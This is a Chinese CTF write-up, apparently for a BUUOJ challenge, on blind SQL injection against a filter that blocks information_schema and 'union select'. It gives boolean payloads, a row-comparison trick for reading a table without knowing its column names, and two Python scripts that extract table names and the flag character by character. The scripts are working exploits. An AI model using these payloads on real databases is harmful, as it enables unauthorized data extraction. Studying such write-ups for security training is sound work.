前言

fuzz的话可以发现过滤了很多东西 ![Z_OJSZYR4{3VNJ)]PTJQ`4.png其中主要information表被过滤了 所以我们需要用其他的表来获取表名 比如

  1. sys.schema_table_statistics_with_buffer
  2. mysql.innodb_table_stats
  3. sys.x$schema_flattened_keys
  4. sys.schema_table_statistics

并且没有过滤| 所以可用||来判断一些东西
输入 0 || 1 可以返回 Nu1L
输入 0 || 2 返回Error Occured When Fetch Result.
所以我们可以根据这些来爆出一些东西
0||length(database())>1 返回 Nu1L
0 || (select (ascii(substr(database(),1,1))>1)) 返回Nu1L
我们可以利用这个来获取表

爆表

  1. import requests
  2. url = "http://b7b911f9-743d-43de-a622-4c445fa1bb68.node4.buuoj.cn:81/index.php"
  3. flag = ""
  4. for i in range(1,100):
  5. head = 32
  6. tail = 127
  7. while not (abs(head -tail) == 1 or head == tail):
  8. mid = (head + tail)>>1
  9. payload = "0 || ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))>{}#"
  10. data = {
  11. "id":payload.format(i,mid)
  12. }
  13. r = requests.post(url,data=data)
  14. if "Nu1L" in r.text:
  15. head = mid
  16. else:
  17. tail = mid
  18. if(tail <= mid):
  19. tail = mid
  20. flag += chr(tail)
  21. print("[!*]:",flag)

偏移注入 爆flag

因为过滤了information 我们无法获取表名,并且过滤了 union select 连起来的所以传统无列名注入不行
这里看一下mysql的一个特性
bc是大于ba的
]@G1@GDCHHNF(6ELUI(JPFJ.png
ae 大于 abc 是因为mysql从第一位比较 直到必出大的哪一位
EFL(NPXSPI_A}{2@N)9B~YS.png
最后一个,两边的字段数要相同MJ@8TMV$93G`}WZY~]Z`9SJ.png所以这道题还要判断一下 flag表的字段数 只有第二个成功了

  1. ((select 1,2,'G')>(select * from f1ag_1s_h3r3_hhhhh))
  2. ((select 1,'G')>(select * from f1ag_1s_h3r3_hhhhh))
  3. ((select 1)>(select * from f1ag_1s_h3r3_hhhhh))

所以就可以写exp了 这里我二分法没跑成功 日!

  1. import time
  2. import requests
  3. url = "http://e25531bf-d4af-4d3b-bb6a-78f1411785e2.node4.buuoj.cn:81/"
  4. flag = ""
  5. for i in range(100):
  6. for char in range(32,130):
  7. payload = '0 || ((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
  8. data ={"id": payload.format(flag+chr(char))}
  9. r = requests.post(url=url,data=data)
  10. print(str(i)+':'+str(char))
  11. if "Nu1L" in r.text:
  12. break
  13. time.sleep(0.5)
  14. flag += chr(char-1)
  15. print("[!*]:",flag)